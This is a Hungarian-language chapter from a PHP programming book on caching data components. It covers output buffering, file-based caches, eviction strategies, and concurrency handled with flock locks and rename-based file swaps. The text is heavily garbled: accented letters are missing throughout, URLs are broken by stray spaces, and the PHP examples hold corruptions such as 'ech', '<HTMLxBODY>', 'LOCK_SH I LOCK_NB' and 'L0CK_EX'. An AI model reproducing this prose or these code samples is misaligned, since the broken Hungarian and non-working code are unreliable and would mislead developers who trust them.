Az APC forrskdja elrhet a PEAR PHP-bvtmnyeket tartalmaz PECL troljban. Az ionCube Accelerator futtathat alakjt elrhetjk a www. ioncube. com cmen. A Zend Accelerator a www. zend. com webhelyen tallhat meg.

Helyettes gyorstrak
A Squid-et a www. squid-cache . org cmen tallhatjuk meg, ahol egyttal szmos nagyszer forrst tallhatunk a belltsi lehetsgekrl s a hasznlat mdjairl. Egy jl sikerlt rst is olvashatunk a Squid hasznlatrl HTTP gyorstknt ViSolve-tl a http://squid.visolve.com/white_papers/reverseproxy.htm cmen. A Squid fordtott helyettes kiszolgl szerepben nyjtott teljestmnynek nvelsrl a http: //squid. sourceforg.net/rproxy cmen tjkozdhatunk. A mod_backhand modult a www. backhand. org cmen tallhatjuk meg. A mod_proxy hasznlatnak csak az alapjait mutattuk be ebben a fejezetben. A lehetsgek ennl sokkal gazdagabbak a krelmek kezelsnek igen sokoldal mdjt adja a mod_proxy s a mod_rewrite egyttes hasznlata. A rszletekrt ltogassunk el az Apache projekt webhelyre (http: / /www. apache. org). A mod_rewrite/mod_proxy modulok egyttes hasznlatnak egyszer pldja Scalable Internet Architectures (Mretezhet internetes architektrk) cmmel az Apachecon 2002rl sajt bemutatmban is megtekinthet. A dik a kvetkez cmen rhetk el: http://www.omniti.com/~george/talks/LV73 6.ppt. Amod_accel megtallhat a http: //sysoev.ru/mod_accel cmen. Sajnlatos mdon a lers nagyobb rsze kes orosz nyelven olvashat. A mod_accel s a mod_def lat teleptsrl azonban hozzjuthatunk Philip Mak angol nyelv Hogyanjhoz a http: //www.aaanime.net/pmak/apache/mod_accel cmen.

Tartalomtmrts
A mod_def lat modul az Apache 1.3.x vltozathoz elrhet a kvetkez cmen: http: //sysoev.ru/mod_def lat. Fontos megjegyezni, hogy ennek semmi kze az Apache 2.0 mod_def lat moduljhoz. A mod_accel lershoz hasonlan e projekt lersa is szinte teljes egszben orosz nyelv. A mod_gzip fejlesztje, a Remote Communications elkltztt eredeti webhelyrl, s most a http: //sourceforge.net/projects/mod-gzip cmen lelhet fel.

Adatsszetevk tmeneti trolsa


A dinamikus weblapok ksztse valjban folyamatos egyenslyozs kt vglet kztt. Egyrszrl, a dinamikus s szemlyre szabott weblapok nagyszerek - msrszrl viszont minden dinamikus hvs tovbb nveli az oldal ellltshoz szksges idt. A szvegek feldolgozsa s a megsokasod adatmveletek jelents erforrsokat emsztenek fel. Az adatbzis-lekrdezsek s a tvoli eljrshvsok (RPC-k) amellett, hogy idrfordtst kvetelnek a tvoli kiszolgltl, a hlzati ksleltetssel is lasstjk az oldal mkdst. Minl tbb a dinamikus tartalom, annl tbb erforrsra van szksg az oldal ellltshoz. Az adatbzis-lekrdezsek gyakran a hlzati alkalmazsok leglassabb rszt adjk, a nagy mrtkben dinamikus webhelyeken pedig nem ritka, hogy oldalanknt tbb ilyen lekrdezsre is szksg van. Ha sikerl valahogy megszabadulnunk ezektl, jelentsen nvelhetjk a teljestmnyt - itt siethetnek segtsgnkre a gyorstrak. A gyorstrak hasznlata gyakorlatilag azt jelenti, hogy egyes adatokat flretesznk ksbbi hasznlatra. E mdszerrel gyakran hasznlt adatokat trolhatunk, melyeket aztn gyorsabban rhetnk el, mint egybknt. A gyorstrak hasznlatra knny j pldkat tallni mind a szmtstechnikn bell, mind az let ms terletein. Nem kell sokat tprengennk - vegyk csak a telefonszmok kezelsnek esett. A telefontrsasg rendszeresen kld telefonknyveket elfizetinek. Ezek rendszerint ormtlanok, s a telefonszmok az elfizetk neveinek bcsorrendje szerint rendezettek, sokig tart teht, mg odalapozunk a kvnt szmhoz. (Vagyis itt nagy trterletrl van sz, lass elrssel.) A gyakran hasznlt szmok knnyebb elrse rdekben ksztettem egy listt a htszekrnyem ajtajn csaldtagjaim, bartaim s a kedvenc pizzriim telefonszmairl. Ez egy igen rvid lista, gy knnyen megtallom rajta a keresett szmot. (Vagyis kis trhely, gyors elrssel.)

258

PHP fejleszts felsfokon

A gyorstrazssal kapcsolatos krdsek


Brmilyen gyorstrat ksztnk, van nhny alapfeladat, melynek elvgzsre mindenkppen gondot kell fordtanunk ezeket soroljuk fel a kvetkezkben: A gyorstr mretnek fenntartsa - Ahogy a htszekrny ajtajra ragasztott telefonszmlista nvekszik, lassan eljutunk oda, hogy a papr mrete mr nem lesz elegend a befogadsra. Persze felragaszthatunk jabb paprlapokat, de ezek szaporodsval egyre nehezebb lesz megtallni a keresett szmot, radsul a ht mrete is korltozott. Mindez teht azt jelenti, hogy az j telefonszmok hozzadsval prhuzamosan a kevsb fontosakat ki kell hznunk. Ennek megvalstsnl szmtalan algoritmust hasznlhatunk. A gyorstr egyidej elrse - A felesgem s n egyidejleg hozz kell, hogy frjnk a telefonszmlisthoz - s nem csak az olvass, hanem az rs tern is egyenjogsg uralkodik. Ha azonban egy olyan szmot szeretnk kiolvasni, melyet a felesgem ppen tjavt, az eredmny a kt szm valamifle keverke lesz. Jllehet az egyidej rs lehetsge nem igazn merl fel komoly eshetsgknt egy telefonszmlista esetben, ha egy csoport ugyanazon fjlokkal dolgozik, knnyen elfordulhat, hogy tkznek egyms tevkenysgvel. Fontos, hogy vdekezznk az adatok meghibsodsa ellen. Az elavult adatok kezelse - Az j telefonknyvek megjelensvel telefonszmlistnknak kvetnie kell a vltozsokat. Ami a legfontosabb: biztostani kell, hogy a listn szerepl szmok mindig helyesek legyenek. A gyorstr lejrt szavatossg" adatait elavultnak nevezzk, az adatok rvnytelentst pedig a gyorstr mrgezsnek. A gyorstrak sszhangja - A konyhban kiragasztott lista mellett ltezik egy msik is, az irodmban. Ezek tartalma eltrhet egymstl, viszont fontos, hogy ne legyen ellentmondak ha valakinek a neve mindkt listban megjelenik, csak ugyanaz a szm tartozhat hozz. Egyes gyorstrakban az albbi tulajdonsgok is megjelenhetnek: Hierarchikus trols - Ilyenkor a trolsnak tbb szintje ltezik. A telefonlists pldban ilyen jabb szint lehet a telefon gyorstrcszja. Ezzel mg gyorsabban elrhetnk egyes szmokat, viszont mg kevesebb szm trolsra van lehetsg. Elre hozott adatok - Ha bizonyos telefonszmokrl tudom, hogy gyakran hvom majd (pldul a szleim otthoni telefonszma vagy a sarki pizzria szma), a lista elejre veszem fel azokat. A 9. fejezet nagyobb rszben azzal foglalkoztunk, hogyan kezeljk az gyfl oldali s hlzati gyorstrakat. A dinamikus weblapokat nehz teljes egszkben gyorstrakban trolni - legalbbis az gyfl oldaln. Ezrt ht most nem is prblkozunk azzal, hogy az egsz oldalt troljuk, inkbb az alkalmazson bell a lehet legtbb dinamikus adat gyorstrban trtn trolsra tesznk ksrletet.

10. fejezet * Adatsszetevk tmeneti trolsa

259

A gyorstrak hasznlatnak hrom szintjt klnbztetjk meg: Egsz ellltott oldalak, oldalrszek trolsa, mint az albbi pldkban: - Egy ritkn vltoz oldal tartalmnak ideiglenes trolsa. - Adatbzis ltal vezrelt navigcis sv trolsa. Adatok trolsa felhasznli krelmek kztt, mint az albbi pldkban: - A munkamenet adatainak trolsa (pldul az internetes bevsrlkocsik tartalm). - Felhasznli jellemzk trolsa. Szmtott adatok trolsa, mint az albbi pldkban: - Adatbzis-lekrdezs trolsa. - Tvoli eljrshvsok eredmnynek trolsa.

A gyorstrakban trolhat adatsszetevk felismerse


A gyorstrak helyes hasznlatnak els lpse annak meghatrozsa, mely adatsszetevk trolhatk ilyen mdon. Az alkalmazsok elemzsnl jmagam az albbi lista alapjn tjkozdom, amely a knnyebben trolhat adatoktl a nehezebb esetek fel vezet: Mely oldalak teljesen statikusak? Ha egy lap dinamikus, de teljesen statikus adatok alapjn kszl el, lnyegben statikusnak tekinthet. Mely oldalak statikusak elg hossz ideig? Az elg hossz id" persze meglehetsen megfoghatatlan fogalom - a legtbb esetben itt napokra vagy rkra gondolunk. Vannak persze klnleges esetek is - a www. cnn. com frisstse nhny percenknt trtnik meg (vilgrenget esemnyeknl percenknt), ami a webhely forgalmhoz mrve elg hossz idnek" szmt. Mely adatok teljesen statikusak (pldul a hivatkozsi tblk)? Mely adatok statikusak elg hossz ideig"? Szmos webhelyen a felhasznlk adatai statikusak maradnak a ltogatsa alatt. A gyorstrak sikeres hasznlatnak titka a a gyorstrbeli tallatok s a gyorstrbeli olvassi ksrletek hnyadosa (angolul ezt hvjk cache locality-nek; magyarul krlbell gyorstrhatkonysg). Ha ez az arnyszm nagy, az azt jelenti, hogy a keresett objektumokat ltalban megtalljuk a gyorstrban, vagyis az elrs kltsge cskken. Ha az rtk kicsi, akkor gyakran fordult el, hogy nem talltuk a keresett objektumot. Mindez azt jelenti, hogy alkalmazsunk teljestmnye nemhogy ntt volna, hanem egyenesen cskkent.

Sajt vagy elre elksztett osztlyok - melyiket vlasszuk?


A knyv eddigi fejezeteiben megprbltuk lehetsg szerint kihasznlni a PEAR-ben meglev megvalstsokat. Nos, jmagam soha nem szerettem jra feltallni a kereket, s ltalban el lehet mondani, hogy a PEAR-ben megtallhat osztlyok valban kpesek meg-

260

PHP fejleszts felsfokon

felelni a szlssges esetek kihvsainak is. A PEAR rendelkezik a gyorstrak mkdtetshez szksges osztlyokkal (Cache s Cache_Lite), mindazonltal n szinte mindig sajt osztlyokkal dolgozom -s ennek hrom oka is van: Testreszabhatsg - A gyorstrak optimlis megvalstsnak titka, hogy kihasznljuk az alkalmazs minden olyan lehetsgt, ahol a gyorstr hasznlata lehetsges. Mindezt nem lehet egy fekete doboz" tpus programmal megoldani, de mg az elre sszelltott programcsomagokkal is nehz dolgunk volna. Hatkonysg - Fontos, hogy a gyorstr kezelsnek kdja a lehet legkevesebb fls terhelst rja a rendszerre. Ha valamit tnyleg az alapoktl kezdnk megrni, biztosthatjuk, hogy tnyleg csak azt tegye, amit vrunk tle. Fenntarthatsg - A gyorstrak megvalstsainak hibi nehezen elre lthat s azonosthat mkdsi zavarokat okozhatnak. gy pldul egy adatbzis-lekrdezs gyorstrnak meghibsodsa rvnytelen adatokat eredmnyezhet. Minl jobban megrtjk a gyorstr kezelsnek rszleteit, annl knnyebben megy majd bennk a hibakeress. Mindez persze lehetsges a PEAR knyvtrakban is, de tapasztalatom szerint sajt kddal sokkal knnyebb boldogulni.

Okos fekete doboz" megoldsok

Ltezik a piacon nhny intelligens gyorstrkezel kszlk" a Network Appliance, az IBM s a Cisco forgalmazsban. Jllehet ezek a programok egyre okosabbak s okosabbak lesznek, jmagam mindig nmi bizalmatlansggal tekintek rjuk, mivel nem hiszem, hogy az okossg" ptolni tudja az alkalmazs szerkezetnek ismerett. Ezek a programok azonban nagyszeren megfelelnek a fordtott helyettes gyorstrak helyett, melyekrl a 9. fejezetben szltunk.

A 4-es vltozattl a PHP tmogatja az tmeneti kimenettrolst, vagyis azt az eljrst, melyben a kimenet egy tmeneti trba kerl, s nem kzvetlenl az gyflhez. A 9- fejezetben megvizsgltuk, miknt hasznlhat ez a lehetsg a hlzati teljestmny nvelsre (amikor az tvitt adatokat kevesebb csomagra bontottuk, s ezekre tmrtst alkalmaztunk). Fejezetnkben arrl szlunk, hogyan alkalmazhatunk hasonl mdszereket a kiszolgl oldali gyorstrakba kerl tartalomra. Ha egy program kimenett el szeretnnk fogni a kimenettrolst megelzen, akkor egy karakterlncba kell helyeznnk, s ha ksz, kirnunk a kpernyre:
<?php $OUtput = "<HTMLxBODY>"; $output .= "Today is " .strftime("%A, %B %e %Y"); $OUtput .= "</BODY></HTML>";

10. fejezet Adatsszetevk tmeneti trolsa

261

ech $output; cache($output); ?> Aki mg Perl alap CGI programokkal tanulta a webprogramozst, valsznleg beleborzong e sorok ltvnyba. Akinek nincs ilyen tapasztalata, ksrletet tehet arra, hogy elkpzelje, milyen is lehetett az a korszak, amikor a webes programok gy nztek ki. A kimenettrolssal a program ismt emberi alakot lt. Mindssze annyit kell tennnk, hogy az oldal ellltsa el beszrjuk az albbi sort: <?php ob_start(); ?>

Ez bekapcsolja a kimenettrolst, kvetkezskppen a rendszer a kimenetet egy bels tmeneti trban trolja. Ezek utn kvetkezhet az oldal kdja a megszokott alakban:
<HTML> <BODY> Today is <?= strftime("%A, %B %e %Y") ?> </BODY> </HTML>

Ha a tartalom elkszlt, kirtjk a trat:


<?php $output = ob_get_contents() ; ob_end_flush(); cache($output); ?>

Az ob_get_contents () a kimeneti tr tartalmt egy karakterlnc alakjban adja vissza, mellyel ezek utn azt tesznk, amit csak szeretnnk. Az ob_end_f lush () lelltja az tmeneti trolst, s a tr tartalmt elkldi az gyflnek. Ha a tartalmat csak a karakterlnc alakjban szeretnnk ltni, s nem kvnjuk elkldeni az gyflnek, a trols befejezsnl az ob_end_clean () fggvnyt hvjuk meg, amely lelltja a trolst, s egyszeren trli a tr tartalmt. Fontos megjegyeznnk, hogy mind az ob_end_f lush (), mind az ob_end_clean () megsemmisti a trat, miutn vgzett a feladatval. Ha teht a tr tartalmt meg szeretnnk rizni, mindenkppen hasznlnunk kell az ob_get_contents () fggvnyt. A kimenettrols hatkony mdszer.

262

PHP fejleszts felsfokon

Kimenettrols a header() s a setcookieQ fggvnnyel

A kimenettrols szmos megvalstsban elfordul, hogy az oldal szvege utn fejlceket is t kell kldeni. Hagyomnyos esetben ezt gy tennnk:
<?php

ech "Hello World"; header("Content-Type: text/plain"); ?> Sajnos azonban itt hibazenetet kapunk: Cannot add header informtion - headers already sent Magyarul: A fejlcadatok nem csatolhatok - a fejlcek kldse mr megtrtnt. A HTTP vlaszokban a fejlceknek az zenet elejre kell kerlnik, minden ms tartalom el (amint azt nevk is mutatja). Mivel a PHP alaprtelmezsben azonnal elkldi a ellltott tartalmat, ha a fejlceket az oldal szvege utn kldjk el, hibazenetet kapunk. Ha azonban trolst hasznlunk a kimeneten, a vlasz trzsnek tkldse csak a f lush () utastssal trtnik meg, gy a fejlcek a szveggel egytt rkeznek meg. Kvetkezskppen az albbi kd jl mkdik: <?php ob_start(); ech "Hello World"; header("Content-Type: text/plain"); ob_end_flush();
?>

Mindez azonban inkbb rossz programozsi szoks, semmint a kimenettrols elnyeinek bemutatsa. Ha megszokjuk, hogy a fejlceket az ellltott tartalom utn kldjk t, ezzel minden tovbbi kdot kimenettrolsra szortunk, az ilyen szksgtelen szigortsok pedig nem hasznlnak alkalmazsainknak.

10. fejezet Adatsszetevk tmeneti trolsa

263

Gyorstrak a memriban
A szlak, illetve a folyamathvsok kzti erforrs-megoszts megszokott lehet azok szmra, akik Java nyelven, illetve mod__per l-ben programoznak. A PHP-ban azonban a felhasznli adatszerkezetek megsemmislnek a krelem lezrsakor. Ez azt jelenti, hogy az erforrsokon (pldul lland adatbzis-kapcsolatokon) kvl minden ltalunk ksztett objektum elrhetetlenn vlik a kvetkez krelmek kezelsnl. Jllehet ez a hinyossg sok tekintetben htrnyosnak tekinthet, az a kvetkezmnye mindenkppen megvan, hogy hihetetlenl jl elvlasztja az egyes krelmek kezelst - ezek ugyanis semmilyen hatssal nem lehetnek egymsra. A ms nyelvekben biztostott maradandsg htrnya, hogy - mint a mod_perl-ben - elkpzelhet, hogy visszafordthatatlanul elrontunk valamit, ami tnkreteheti a kvetkez krelmek kiszolglst, illetve a hibs kezdrtkkel elltott vltozk nem vrt rtkeket vehetnek fel. A PHP-ben ilyen gondok gyakorlatilag nem merlhetnek fel - a programok rtelmezse mindig tiszta lappal indul.

Gyorstrak szerkezet nlkli fjlokban


Ezek a gyorstrak lapos fjlokat" (szerkezet nlkli fjlokat) hasznlnak a felhasznli adatok trolsra. A trols folyamatban az adatok bekerlnek a fjlba, amikor pedig szksg van az adatokra, a program beolvassa (tbbnyire a teljes) fjlt. Egyszer pldt adhat erre a mdszerre egy oldal hranyagnak trolsa. Az ilyen oldalakat elszr rdemes beemelt llomnyok segtsgvel sszetevkre osztani. A fjl alap gyorstrak klnsen jl hasznlhatk olyan alkalmazsoknl, melyek egyszeren az include () -ot hasznljk a trolfjlon, vagy kzvetlenl fjlknt hasznljk. Jllehet elkpzelhet, hogy egyes vltozkat vagy objektumokat troljunk fjl alap gyorstrakban, nem ez az a felhasznlsi terlet, ahol e mdszert a leghatkonyabban kihasznlhatjuk.

A gyorstr mretnek fenntartsa


Ha minden trolt elemet kln fjlba helyeznk, nemcsak nagy lemezterlet felhasznlsra szmthatunk, de egyttal rengeteg fjlt is kapunk. Sok fjlrendszer (kztk a Linux ext2 s ext3 fjlrendszere) igen gyengn teljest, ha egy knyvtrban tlzottan sok fjl halmozdik fel. Ha egy fjl alap gyorstr kezd kezelhetetlenl naggy vlni, rdemes tbbrteg megoldsok utn nzni, hogy a knyvtrban lev fjlok szmt korltozhassuk. Ezt a mdszert gyakran alkalmazzk levlkiszolglk esetben nagy trak kezelsre, de ms trolsi helyzetekre is knnyen tvihet. Mindazonltal nem szabad, hogy a kismret gyorstr idelja meggtoljon dntseinkben. Jllehet a kis gyorstrak ltalban gyorsabbak a nagyoknl, amg a gyorstrral elltott alkalmazs hatkonyabb (a fenntartst is belertve) a gyorstr nlkli vltozatnl, semmilyen megoldst nem szabad elvetnnk. Fejezetnk ksbbi rszben ltunk majd egy pldt, melyben egy tbb gigabjtos gyorstr hasznlata is jelents teljestmnynvekedst

264

PHP fejleszts felsfokon

eredmnyez. A folyamatok kzti adatcsere hinyban nehz a gyorstrak rtsnek legrgebben hasznlt" (last recently used - LRU) mdszert alkalmazni (mivel nem tudjuk szmon tartani, milyen gyakorisggal rik el fjljainkat). A kirtsre az albbi lehetsgeink vannak: LRU - A legrgebben hasznlt gyorstr-fjlokat felkutathatjuk az elrsi id vizsglatval (ezt a stat () ltal visszaadott szerkezet atime mezje adja meg). A rendszergazdk azonban gyakran letiltjk az elrsi idk frisstst, hogy cskkentsk a lemezre rsok szmt valamilyen sokat olvas alkalmazsnl (s gy nveljk a lemez teljestmnyt). Ilyenkor termszetesen az elrsi idre alapozott LRU nem hasznlhat. Radsul a gyorstr knyvtrszerkezetnek vgigolvassa, s a stat () fggvny tbbszri hvsa egyre lassabb, ahogy a fjlok szma s a gyorstr kihasznltsga n. FIFO - A FIFO (First in, first out; az els bejv elem feldolgozsa trtnik elszr) mdszer alkalmazshoz hasznlhatjuk a mdosts idejt (a stat () ltal visszaadott szerkezet mtime mezje), gy sorba rendezetjk a fjlokat legutbbi frisstsk ideje szerint. Ez a mdszer persze az elzhz hasonlan szenved a stat () hasznlatnak lasssgtl. Vletlenszer kirts -Jllehet ez a mdszer tlzottan egyszernek tnhet, sok esetben a teljes gyorstr, illetve egy rszletnek eltvoltsa meglepen egyszer s hatkony mdot adhat a gyorstr mretnek fenntartsra. Ez klnsen a nagy gyorstraknl igaz, ahol a karbantart mveletekre ritkn kerl sor, s a teljes gyorstr vgigbngszse nagyon kltsges volna. Valsznleg ez a gyorstrak rtsnek leggyakrabban alkalmazott mdszere. A gyorstrak megvalstsnl ltalban rendelkeznk egyedi informcikkal a trolni kvnt adatokrl, e tuds kihasznlsval pedig jobb adatkezelst valsthatunk meg. Sajnos persze ez azt is jelenti, hogy nem ltezik igazi" mdszer a gyorstrak kezelsre.

A gyorstrak egyidej hasznlata s sszhangja


Fjljainkat tbb folyamat is olvashatja egyszerre mindenfle kockzat nlkl, ha azonban olvass kzben rs is trtnik, nagy gondokkal kerlhetnk szembe. Ahhoz persze, hogy megrtsk, pontosan milyen veszlyekrl van itt sz, elbb meg kell ismerkednnk a fjlrendszerek mkdsvel. A fjlrendszer valjban egy fa, ami gakbl (knyvtrak) s levelekbl (fjlok) ll. Ha az fopen( "/path/to/f ile.php", $mode) utastssal megnyitunk egy fjlt, az opercis rendszer vgighalad a megadott tvonalon. A gykrknyvtrtl indul, megnyitja, majd megvizsglja a tartalmt. A knyvtr valjban egy tblzat, ami fjlok s knyvtrak neveit tartalmazza, valamint a hozzjuk tartoz ler csompontokat (inode). A fjlnvhez tartoz ler csompont a fjl fizikai helyt mutatja a lemezen. Ez egy fontos aprsg: a fjlnv nem fordthat le kzvetlenl fizikai helyre - a hozz tartoz ler csompont

10. fejezet Adatsszetevk tmeneti trolsa

265

adja meg a trols helyt. Ha megnyitunk egy fjlt, egy fjlmutatt kapunk vissza - ezt az opercis rendszer sszekti a fjl ler csompontjval, gy vgl tudja, hol tallja meg az adatokat a lemezen. Itt ismt felhvjuk a figyelmet egy fontos aprsgra: az f open () alkalmazsa utn kapott fjlmutat a ler csompontra vonatkoz adatokat tartalmaz nem a fjlnvre. Ha a fjlunkon csak rsi s olvassi mveleteket vgznk, akkor az a gyorstr, amelyik figyelmen kvl hagyja ezt az aprsgot, gy viselkedik, ahogy vrtuk - egyedli trknt az adott fjlhoz. Ez veszlyes lehet, hiszen ha ppen akkor runk a fjlba, amikor olvassi mveletet is vgznk (mondjuk egy msik folyamatban), elkpzelhet, hogy rszben az j, rszben a rgi fjl tartalmhoz jutunk hozz. Termszetesen ez hibs adatokat eredmnyez. Lssunk egy pldt arra, hogyan is prblhatunk gyorstrat alkalmazni egy oldal tartalmra:
<?

if(file_exists("first.cache")) { include("first.cache"); return; } else { // fjl megnyitsa 'w' mdban, csonkolva az rshoz $cachefp = fopen("first.cache", "w"); ob_start(); } ?> <HTML> <BODY> <!-- Cacheable for a day --> Today is <?= strftime("%A, %B %e %Y") ?> </B0DY> </HTML> <? if( $cachefp) { $file = ob_get_contents() ; fwrite($cachefp, $file); ob_end_flush(); } ?>

A felmerl gondokat a 10.1. bra mutatja. Lthatjuk, hogy a prhuzamosan vgzett rs s olvass felveti a hibs adatok megjelensnek lehetsgt.

266

PHP fejleszts felsfokon

A megoldsra kt mdszer ismeretes: hasznlhatunk fjlzrakat vagy fjlvltkat. A fjlzrak (fil lock) hasznlata egyszer de hatkony mdszert ad a fjlok elrsnek szablyozsra. Kt tpusuk ltezik - lehetnek ktelezek (mandatory) s javasoltak (advisory). Az elbbieket az opercis rendszer magja rvnyesti, letiltva a red (), illetve wri te () hvsokat a zrolt fjlhoz. A ktelez zrak nem szerepelnek a POSIX szabvnyai kztt, s a BSD fjlzrolsi szabvnyban sem tallhatjuk meg ket - megvalstsuk igen vltozatos a klnbz rendszerekben. A ktelez zrakra ritkn - ha egyltaln valamikor - van get szksg. Mivel azonban itt magunk valsthatjuk meg a gyorstr fjljait kezel folyamatokat, biztosthatjuk, hogy viselkedsk megfelel legyen. A javasolt zrakkal kt alakban tallkozhatunk: f lock - Az f lock, amely a BSD 4.2-es vltozatban jelent meg, kpes teljes fjlok osztott (olvass) s kizrlagos (rs) zrolsra.

10. fejezet Adatsszetevk tmeneti trolsa

267

fenti - Az fenti, amely a POSIX szabvny rsze, kpes fjlok rszeinek osztott vagy kizrlagos zrolsra (ez azt jelenti, hogy meghatrozott bjtsorozatokat zrolhatunk, ami klnsen adatbzisoknl vagy olyan alkalmazsoknl lehet hasznunkra, ahol szeretnnk lehetv tenni, hogy a folyamatok egyszerre a fjl tbb rszt mdostsk).

Mindkt mdszer fontos alaptulajdonsga, hogy ha egy folyamat kilp, az ltala fenntartott zrak is megsznnek. Ez azt jelenti, hogy ha egy zrat fenntart folyamatban valamilyen hiba kvetkezik be (pldul a webkiszolgl fut folyamata szegmentcis hibt okoz), a rendszer feloldja a zrat, ami megvd a holtpont kialakulstl. A PHP a teljes fjlok zrolsnl az f lock () alkalmazsa mellett dnttt. A sors fura fintoraknt a legtbb rendszer ezt az fenti segtsgvel valstja meg. De lssunk most egy pldt, miknt alkalmazhatunk gyorstrat a fjlzrols lehetsgeit kihasznlva:
<?php $file = $_SERVER['PHP_SELF']; $cachefile = "$file.cache"; $lockfp = @fopen($cachefile, "a"); if (filesize($cachefile) && flock($lockfp, LOCK_SH I LOCK_NB)) { readfile($cachefile) ; flock($lockfp, LOCK_UN); exit ; } else if (flock($lockfp, L0CK_EX | LOCK_NB)) { $cachefp = fopen($cachefile, "w"); ob_start(); } ?> <HTML> <B0DY> <!-- Cacheable for a day --> Today is <?= strftime("%A, %B %e %Y") ?> </BODY> </HTML> <? if( $cachefp) { $file = ob_get_contents(); fwrite($cachefp, $file); fclose($cachefp); flock($lockfp, LOCK_SH | LOCK_NB); ob_end_flush(); } fclose($lockfp); ?>

268

PHP fejleszts felsfokon

Elsre kiss zavaros lehet a kp, gy ht nzzk meg lpsenknt, mi is trtnik itt. Elszr megnyitjuk a gyorstrfjlt hozzfzsi mdban (a, append), s alkalmazunk r egy nem blokkol osztott zrat. A nem blokkol (LOCK_NB) azt jelenti, hogy a vezrls azonnal visszakerl az eredeti programhoz, ha a zrols nem lehetsges. Ha ezt a belltst nem adjuk meg, a program addig vr ezen a ponton, mg a zrols lehetsges nem lesz. Az osztott zr (LOCK_SH) azt jelenti, hogy a zrat meg szeretnnk osztani ms folyamatokkal, melyek szintn a LOCK_SH belltst hasznljk. A kizrlagos zr (LOCK_EX) ellenben lehetetlenn teszi, hogy ms zrat - legyen az osztott vagy kizrlagos - alkalmazzanak a fjlra vele egyidejleg. A kizrlagos zrakat rsnl kell alkalmaznunk (hacsak jelents vintzkedseket nem tesznk), hiszen veszlyes helyzeteket teremthet, ha tbb folyamat egyszerre rhat egy fjlba, illetve ha rs kzben egy msik folyamat olvashat. Amennyiben a gyorstrfjl hossza nem nulla, s a zrols sikeres, meghvhatjuk a readf ile fggvnyt, mellyel kiolvashatjuk a fjl tartalmt. De alkalmazhatjuk az include () -ot is, mellyel brmilyen, a fjlban lev literlis PHP kdot vgrehajthatunk. (A readf ile ezt csak a kimeneti trba rja.) Elkpzelhet persze, hogy a kzvetlen futtats nem megfelel mdszer. Itt a biztonsgi jtk mellett dntnk, s a readf il e-t hasznljuk. Amennyiben az elz felttel nem teljesl, kizrlagos zrat alkalmazunk a fjlra. Ha mr ide kerltnk, alkalmazhatunk nem blokkol zrolst. Ha vgre sikerrel jrtunk, megnyithatjuk a fjlt rsra s kezdhetjk a kimenettrolst. Miutn elkszltnk a krelemmel, a kimenettrat a gyorstrfjlba rhatjuk. Ha sem az osztott olvasssal, sem a kizrlagos rssal nem jrtunk sikerrel, egyszeren ksztsk el az oldalt s lpjnk ki. A javasolt fjlzrak nagyszeren mkdnek, de bizonyos esetekben hasznlatuk ellen szl nhny rv: Amennyiben fjljaink egy hlzati fjlrendszerben (Unix NFS) helyezkednek el, az f lock mkdse egyltaln nem garantlhat. Egyes opercis rendszerek (kztk pldul a Windows) az f lock () -ot a folyamatok szintjn valstjk meg, gy elfordulhat, hogy a tbbszlas alkalmazsokban a zrols nem mkdik megfelelen a szlak kztt. (Ez a gond leginkbb a Microsoft IIS webkiszolgljnak PHP SAPI-jval - ISAPI Server Abstraction API - kapcsolatban jelentkezik.) Ha nem blokkol zrat alkalmazunk, minden, a gyorstr rsa kzben rkez krelem az oldal teljes dinamikus ellltst vonja maga utn. Ha ez az elllts kltsges, az erforrsok kihasznlsban a gyorstr minden frisstsnl egy tskt" kapunk. Amennyiben blokkol zrolst alkalmazunk, cskkenthetjk a rendszer terhelst a frissts alatt, de ilyenkor egy oldal ellltsa alatt a tbbi oldal mveletei sznetelnek.

10. fejezet Adatsszetevk tmeneti trolsa

269

Ha kzvetlenl a gyorstrfjlokba runk, s egy vratlan esemny kvetkezik be (pldul az rst lebonyolt folyamat sszeomlik, vagy kifut az idbl), a fjl tartalma rszlegess vlik. Sajnlatos mdon a rendszer ezeket a rszleges fjlokat is nyugodt llekkel szolgltatja (az olvas folyamat nem tudhatja, hogy a feloldott zrols fjl teljes-e), gy a kapott oldal hibs lesz. Elmletben egy javasolt zr feloldja a zrolst, ha az t alkalmaz folyamat kilp. Nem egy opercis rendszer tartalmaz azonban olyan hibkat, melyek bizonyos, ritkn elll helyzetekben meggtoljk a zrak feloldst a folyamat elhalsakor. Szmos PHP SPI (kztk a mod_php - vagyis a PHP futtatsra szolgl szabvnyos modul az Apache kiszolgln) nem egykrelmes alapon mkdik. Ez azt jelenti, hogy ha egy krelem lezrulsakor rvnyben van egy zrols, az mindaddig meg is marad, mg a programot futtat folyamat vget nem r - vagyis rkig, vagy akr napokig. Mindez holtpontot eredmnyezhet. Szemlyesen mg nem tallkoztam ilyen hibkkal, de nem lehet mindenkinek ekkora szerencsje. A fjlvltk egy korbban emltett aprsgot hasznlnak ki mkdskhz. Ha az unlink () fggvnyt alkalmazzuk egy fjlon, valjban a fjlnv-ler csompont megfeleltetst szntetjk meg. A fjlnv teht ezentl nem ltezik, de a hozz kapcsolt trterlet rintetlen marad (egy ideig), s az ehhez tartoz ler csompont sem vltozik. A rendszer egszen addig nem osztja ki jra ezt a terletet, mg minden, a lerhoz kapcsold megnyitott fjllert (handl) be nem zrunk. Ez azt is jelenti, hogy az unlink () alkalmazsa alatt a fjlbl olvas folyamatok nem szakadnak meg - egyszeren folytatjk az eredeti fjl adatainak kiolvasst. Ha az utols olyan folyamat is lezrul, amely megnyitott lert tart ezen a ler csomponton, a rendszer a hozz tartoz trterletet felszabadtja, lehetv tve, hogy jra felhasznljk. A fjl eltvoltsa utn megnyithatunk egy j fjlt ugyanazzal a nvvel. A nevek egyezse ellenre az opercis rendszer ezt a fjlt nem a rgi ler csomponthoz kapcsolja, hanem j trterletet foglal a szmra. Vagyis minden rendelkezsre ll ahhoz, hogy knnyedn megrizzk az adatok psgt. A zrolsi pldt a fjlvlts mdszerre trni nem nehz feladat:
<?php $cachefile = "{$_SERVER['PHP_SELF']}.cache" ; if(file_exists($cachefile)) { include($cachefile) ; return; } else { $cachefile_tmp = $cachefile.".".getmypid() ; $cachefp = fopen($cachefile_tmp, "w"); ob_start() ; }

270

PHP fejleszts felsfokon

?>

<HTML> <BODY> <!-- Cacheable for a day --> Today is <?= strftime("%A, %B %e %Y") ? > </BODY> </HTML> <?php if( $cachefp) { $file = ob_get_contents(); fwrite($cachefp, $file); fclose($cachefp); rename($cachefile_tmp, $cachefile); ob_end_flush(); } ?>

